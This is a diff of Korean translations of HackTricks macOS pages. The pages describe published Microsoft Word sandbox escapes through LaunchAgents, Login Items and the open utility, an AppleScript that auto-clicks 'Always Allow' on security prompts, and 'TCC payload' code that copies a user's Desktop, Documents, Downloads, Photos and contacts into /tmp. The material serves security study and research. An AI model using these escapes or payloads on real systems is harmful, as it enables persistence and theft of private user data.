* **HackTricks**와 **HackTricks Cloud** github 저장소에 **PR을 제출**하여 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### Word Sandbox 우회 - Launch Agents를 통한 우회
|
### Word Sandbox bypass via Launch Agents
|
||||||
|
|
||||||
이 응용 프로그램은 **`com.apple.security.temporary-exception.sbpl`** 허용권한을 사용하는 **사용자 정의 Sandbox**를 사용하며, 이 사용자 정의 Sandbox는 파일 이름이 `~$`로 시작하는 경우 어디에서든 파일을 작성할 수 있도록 허용합니다: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
응용 프로그램은 **`com.apple.security.temporary-exception.sbpl`** 권한을 사용하여 **커스텀 샌드박스**를 사용하며, 이 커스텀 샌드박스는 파일 이름이 `~$`로 시작하는 한 어디에나 파일을 쓸 수 있도록 허용합니다: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||||
|
|
||||||
따라서, 우회는 `plist` 형식의 LaunchAgent를 `~/Library/LaunchAgents/~$escape.plist`에 작성하는 것만으로도 쉽게 이루어질 수 있습니다.
|
따라서 탈출은 **`~/Library/LaunchAgents/~$escape.plist`**에 **`plist`** LaunchAgent를 작성하는 것만큼 쉬웠습니다.
|
||||||
|
|
||||||
[**원본 보고서는 여기에서 확인**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
[**원본 보고서 확인하기**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)를 확인하세요.
|
||||||
|
|
||||||
### Word Sandbox 우회 - Login Items 및 zip을 통한 우회
|
### Word Sandbox bypass via Login Items and zip
|
||||||
|
|
||||||
첫 번째 우회에서 Word는 `~$`로 시작하는 임의의 파일을 작성할 수 있지만, 이전 취약점 패치 이후에는 `/Library/Application Scripts` 또는 `/Library/LaunchAgents`에 작성할 수 없습니다.
|
첫 번째 탈출에서 Word는 이름이 `~$`로 시작하는 임의의 파일을 쓸 수 있지만, 이전 취약점의 패치 이후 `/Library/Application Scripts` 또는 `/Library/LaunchAgents`에 쓸 수는 없었습니다.
|
||||||
|
|
||||||
그러나 Sandbox 내에서는 사용자가 로그인할 때 실행되는 **Login Item** (사용자가 로그인할 때 실행되는 앱)을 생성할 수 있음이 발견되었습니다. 그러나 이러한 앱은 **노타라이즈(notarized)**되지 않으면 실행되지 않으며, **인수(argument)를 추가할 수 없습니다**(`bash`를 사용하여 역쉘이 실행되지 않습니다).
|
샌드박스 내에서 **로그인 항목**(사용자가 로그인할 때 실행되는 앱)을 생성할 수 있다는 것이 발견되었습니다. 그러나 이러한 앱은 **인증되지 않은 경우**에만 **실행되지 않습니다**. 또한 **인수 추가는 불가능합니다**(따라서 **`bash`**를 사용하여 리버스 셸을 실행할 수 없습니다).
|
||||||
|
|
||||||
이전 Sandbox 우회에서 Microsoft는 `~/Library/LaunchAgents`에 파일을 작성하는 옵션을 비활성화했습니다. 그러나 기본적으로 `~/Library`의 `LaunchAgents` 폴더가 생성되지 않기 때문에, `LaunchAgents/~$escape.plist`에 plist를 압축하여 **zip 파일을 `~/Library`에 배치**하면 압축 해제될 때 영속성 대상에 도달할 수 있습니다.
|
이전 샌드박스 우회로 인해 Microsoft는 `~/Library/LaunchAgents`에 파일을 쓸 수 있는 옵션을 비활성화했습니다. 그러나 **로그인 항목으로 zip 파일을 넣으면** `Archive Utility`가 현재 위치에서 **압축을 풀기만 합니다**. 따라서 기본적으로 `~/Library`의 `LaunchAgents` 폴더가 생성되지 않기 때문에 **`LaunchAgents/~$escape.plist`**에 plist를 압축하고 **`~/Library`**에 zip 파일을 **배치**하면 압축 해제 시 지속성 목적지에 도달할 수 있었습니다.
|
||||||
|
|
||||||
[**원본 보고서는 여기에서 확인**](https://objective-see.org/blog/blog\_0x4B.html).
|
[**원본 보고서 확인하기**](https://objective-see.org/blog/blog\_0x4B.html)를 확인하세요.
|
||||||
|
|
||||||
### Word Sandbox 우회 - Login Items 및 .zshenv을 통한 우회
|
### Word Sandbox bypass via Login Items and .zshenv
|
||||||
|
|
||||||
(첫 번째 우회에서 Word는 `~$`로 시작하는 임의의 파일을 작성할 수 있음을 기억하세요).
|
(첫 번째 탈출에서 Word는 이름이 `~$`로 시작하는 임의의 파일을 쓸 수 있습니다).
|
||||||
|
|
||||||
그러나 이전 기술에는 제한이 있었습니다. `~/Library/LaunchAgents` 폴더가 이미 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 따라서 이를 위해 다른 Login Items 체인이 발견되었습니다.
|
그러나 이전 기술에는 제한이 있었습니다. **`~/Library/LaunchAgents`** 폴더가 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 그래서 이를 위한 다른 로그인 항목 체인이 발견되었습니다.
|
||||||
|
|
||||||
공격자는 실행할 페이로드를 포함하는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성한 다음, 이를 압축하여 피해자의 사용자 폴더인 **`~/~$escape.zip`**에 작성할 수 있습니다.
|
공격자는 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하여 실행할 페이로드를 넣고, 이를 압축한 후 **희생자의** 사용자 폴더에 **`~/~$escape.zip`**로 작성할 수 있습니다.
|
||||||
|
|
||||||
그런 다음, zip 파일을 **Login Items**에 추가한 다음 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어씁니다. 따라서 터미널은 이러한 파일 중 하나를 실행합니다(bash 또는 zsh에 따라 다릅니다).
|
그런 다음 zip 파일을 **로그인 항목**에 추가하고 **`Terminal`** 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자의 파일에 압축 해제되어 **`.bash_profile`** 및 **`.zshenv`**를 덮어쓰게 되며, 따라서 터미널은 이 파일 중 하나를 실행하게 됩니다(사용되는 셸에 따라 다름).
|
||||||
|
|
||||||
[**원본 보고서는 여기에서 확인**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
[**원본 보고서 확인하기**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)를 확인하세요.
|
||||||
|
|
||||||
### Word Sandbox 우회 - Open 및 환경 변수를 사용한 우회
|
### Word Sandbox Bypass with Open and env variables
|
||||||
|
|
||||||
Sandboxed 프로세스에서는 여전히 **`open`** 유틸리티를 사용하여 다른 프로세스를 호출할 수 있습니다. 또한, 이러한 프로세스는 **자체 Sandbox 내에서 실행**됩니다.
|
샌드박스화된 프로세스에서 여전히 **`open`** 유틸리티를 사용하여 다른 프로세스를 호출할 수 있습니다. 게다가 이러한 프로세스는 **자신의 샌드박스 내에서 실행됩니다**.
|
||||||
|
|
||||||
`open` 유틸리티에는 **`--env`** 옵션이 있어 특정 환경 변수로 앱을 실행할 수 있습니다. 따라서 Sandbox 내부의 폴더에 **`.zshenv` 파일**을 생성하고 `open`을 사용하여 `--env`를 설정하여 **`HOME` 변수**를 해당 폴더로 설정하여 해당 `Terminal` 앱을 열 수 있습니다. 이렇게 하면 `.zshenv` 파일이 실행됩니다(어떤 이유로 `__OSINSTALL_ENVIROMENT` 변수를 설정해야 하는 경우도 있습니다).
|
open 유틸리티에는 **특정 env** 변수를 사용하여 앱을 실행하는 **`--env`** 옵션이 있다는 것이 발견되었습니다. 따라서 **샌드박스** 내의 폴더에 **`.zshenv` 파일**을 생성하고 `--env`로 **`HOME` 변수를** 해당 폴더로 설정하여 `Terminal` 앱을 열면 `.zshenv` 파일이 실행됩니다(어떤 이유로 인해 `__OSINSTALL_ENVIROMENT` 변수를 설정해야 했습니다).
|
||||||
|
|
||||||
[**원본 보고서는 여기에서 확인**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
[**원본 보고서 확인하기**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)를 확인하세요.
|
||||||
|
|
||||||
### Word Sandbox 우회 - Open 및 stdin을 사용한 우회
|
### Word Sandbox Bypass with Open and stdin
|
||||||
|
|
||||||
**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원합니다(이전 우회에서는 `--env`를 사용할 수 없었습니다).
|
**`open`** 유틸리티는 **`--stdin`** 매개변수도 지원했습니다(이전 우회 이후 `--env`를 사용할 수 없게 되었습니다).
|
||||||
|
|
||||||
문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 실행하지 않습니다. 그러나 stdin에서 스크립트를 전달하여 quarantine 여부를 확인하지 않도록 할 수 있습니다: 
|
문제는 **`python`**이 Apple에 의해 서명되었더라도 **`quarantine`** 속성이 있는 스크립트를 **실행하지 않습니다**. 그러나 stdin에서 스크립트를 전달할 수 있었기 때문에, 그것이 격리되었는지 여부를 확인하지 않았습니다: 
|
||||||
|
|
||||||
1. 임의의 Python 명령을 포함하는 **`~$exploit.py`** 파일을 생성합니다.
|
1. 임의의 Python 명령이 포함된 **`~$exploit.py`** 파일을 드롭합니다.
|
||||||
2. _open_ **`–stdin='~$exploit.py' -a Python`**을 실행하여 우리가 생성한 파일을 표준 입력으로 사용하여 Python 앱을 실행합니다. Python은 우리의 코드를 기쁘게 실행하며, _launchd_의 자식 프로세스이므로 Word의 Sandbox 규칙에 바인딩되지 않습니다.
|
2. _open_ **`–stdin='~$exploit.py' -a Python`**을 실행하여 Python 앱을 우리의 드롭된 파일을 표준 입력으로 사용하여 실행합니다. Python은 우리의 코드를 기꺼이 실행하며, 이는 _launchd_의 자식 프로세스이므로 Word의 샌드박스 규칙에 구속되지 않습니다.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 히어로까지 AWS 해킹 배우기</strong>를 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
</details>
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
{% endhint %}
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소
|
|
||||||
|
|
|
@ -1,54 +1,56 @@
|
||||||
# macOS Apple Scripts
|
# macOS Apple Scripts
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Apple Scripts
|
## Apple Scripts
|
||||||
|
|
||||||
이것은 원격 프로세스와 상호 작용하기 위해 사용되는 스크립팅 언어입니다. 다른 프로세스에게 일부 동작을 수행하도록 요청하는 것이 매우 쉽습니다. **악성 소프트웨어**는 다른 프로세스가 내보내는 기능을 악용할 수 있습니다.\
|
원격 프로세스와 상호작용하는 작업 자동화를 위한 스크립팅 언어입니다. 다른 프로세스에 특정 작업을 수행하도록 요청하는 것이 매우 쉽습니다. **악성코드**는 이러한 기능을 악용하여 다른 프로세스에서 내보낸 기능을 남용할 수 있습니다.\
|
||||||
예를 들어, 악성 소프트웨어는 브라우저에서 열린 페이지에 임의의 JS 코드를 **주입**할 수 있습니다. 또는 사용자에게 요청된 허용 권한을 **자동으로 클릭**할 수 있습니다.
|
예를 들어, 악성코드는 **브라우저에서 열린 페이지에 임의의 JS 코드를 주입할 수 있습니다**. 또는 **사용자에게 요청된 일부 허용 권한을 자동으로 클릭할 수 있습니다**;
|
||||||
```applescript
|
```applescript
|
||||||
tell window 1 of process "SecurityAgent"
|
tell window 1 of process "SecurityAgent"
|
||||||
click button "Always Allow" of group 1
|
click button "Always Allow" of group 1
|
||||||
end tell
|
end tell
|
||||||
```
|
```
|
||||||
다음은 몇 가지 예시입니다: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
여기 몇 가지 예가 있습니다: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||||
애플스크립트를 사용한 악성 소프트웨어에 대한 자세한 정보는 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 찾을 수 있습니다.
|
AppleScripts를 사용하는 악성 소프트웨어에 대한 더 많은 정보는 [**여기**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/)에서 확인하세요.
|
||||||
|
|
||||||
애플스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`을 사용하여 쉽게 "**디컴파일**"될 수 있습니다.
|
Apple 스크립트는 쉽게 "**컴파일**"될 수 있습니다. 이러한 버전은 `osadecompile`로 쉽게 "**디컴파일**"될 수 있습니다.
|
||||||
|
|
||||||
그러나 이 스크립트는 "읽기 전용"으로도 **내보낼 수 있습니다** (옵션 "내보내기..."를 통해):
|
그러나 이 스크립트는 또한 **"읽기 전용"으로 내보낼 수 있습니다** ( "내보내기..." 옵션을 통해):
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||||
```
|
```
|
||||||
file mal.scpt
|
file mal.scpt
|
||||||
mal.scpt: AppleScript compiled
|
mal.scpt: AppleScript compiled
|
||||||
```
|
```
|
||||||
그리고 이 경우에는 `osadecompile`로도 내용을 디컴파일 할 수 없습니다.
|
그리고 이 경우에는 `osadecompile`로도 내용을 디컴파일할 수 없습니다.
|
||||||
|
|
||||||
그러나 여전히 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 몇 가지 도구가 있습니다. [**더 많은 정보를 보려면 이 연구를 읽어보세요**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) 도구와 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile)를 사용하면 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다.
|
하지만 이러한 종류의 실행 파일을 이해하는 데 사용할 수 있는 도구가 여전히 있습니다. [**자세한 정보는 이 연구를 읽어보세요**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler)와 [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) 도구는 스크립트가 어떻게 작동하는지 이해하는 데 매우 유용할 것입니다.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,28 @@
|
||||||
# macOS TCC Payloads
|
# macOS TCC Payloads
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### 데스크탑
|
### Desktop
|
||||||
|
|
||||||
* **권한**: 없음
|
* **Entitlement**: 없음
|
||||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Objective-C" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다.
|
`$HOME/Desktop`를 `/tmp/desktop`으로 복사합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -56,9 +56,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="쉘" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Desktop`을 `/tmp/desktop`로 복사합니다.
|
`$HOME/Desktop`를 `/tmp/desktop`으로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
```
|
```
|
||||||
|
@ -71,11 +70,8 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Documents`를 `/tmp/documents`로 복사합니다.
|
`$HOME/Documents`를 `/tmp/documents`로 복사합니다.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -111,7 +107,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/`Documents를 `/tmp/documents`로 복사합니다.
|
`$HOME/`Documents를 `/tmp/documents`로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Documents" "/tmp/documents"
|
cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
```
|
```
|
||||||
|
@ -124,11 +119,8 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다.
|
`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -163,8 +155,7 @@ fclose(stderr); // Close the file stream
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Downloads`를 `/tmp/downloads`로 복사합니다.
|
`$HOME/Dowloads`를 `/tmp/downloads`로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
```
|
```
|
||||||
|
@ -173,15 +164,12 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
|
|
||||||
### 사진 라이브러리
|
### 사진 라이브러리
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.photos-library`
|
* **권한**: `com.apple.security.personal-information.photos-library`
|
||||||
* **TCC**: `kTCCServicePhotos`
|
* **TCC**: `kTCCServicePhotos`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -217,7 +205,6 @@ fclose(stderr); // Close the file stream
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
`$HOME/Pictures/Photos Library.photoslibrary`를 `/tmp/photos`로 복사합니다.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
```
|
```
|
||||||
|
@ -226,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
|
|
||||||
### 연락처
|
### 연락처
|
||||||
|
|
||||||
* **Entitlement**: `com.apple.security.personal-information.addressbook`
|
* **권한**: `com.apple.security.personal-information.addressbook`
|
||||||
* **TCC**: `kTCCServiceAddressBook`
|
* **TCC**: `kTCCServiceAddressBook`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Library/Application Support/AddressBook`을 `/tmp/contacts`로 복사합니다.
|
`$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -266,9 +252,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="쉘" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Library/Application Support/AddressBook`를 `/tmp/contacts`로 복사합니다.
|
